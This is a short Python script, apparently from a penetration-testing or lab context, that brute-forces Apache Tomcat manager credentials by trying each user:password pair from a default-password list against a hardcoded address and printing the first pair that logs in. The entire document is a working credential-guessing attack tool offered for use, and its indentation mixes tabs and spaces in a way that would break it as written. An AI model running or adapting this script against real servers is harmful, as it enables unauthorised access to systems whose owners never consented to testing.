tomcat_brute_force

tomcat_brute_force.py

# author: @egre55
# script to automate the testing of common apache tomcat credentials

#!/usr/bin/env python 

import sys
import requests

with open('tomcat-betterdefaultpasslist.txt') as f:
	for line in f:
		c = line.strip('\n').split(":")
		r = requests.get('http://10.10.10.10:8080/manager/html', auth=(c[0], c[1]))

                sys.stdout.write("\033[K")
                sys.stdout.write(line.strip('\n') + '\r')
                sys.stdout.flush()

                if r.status_code == 200:
                    print "Found valid credentials \"" + line.strip('\n') + "\""
                    raise sys.exit()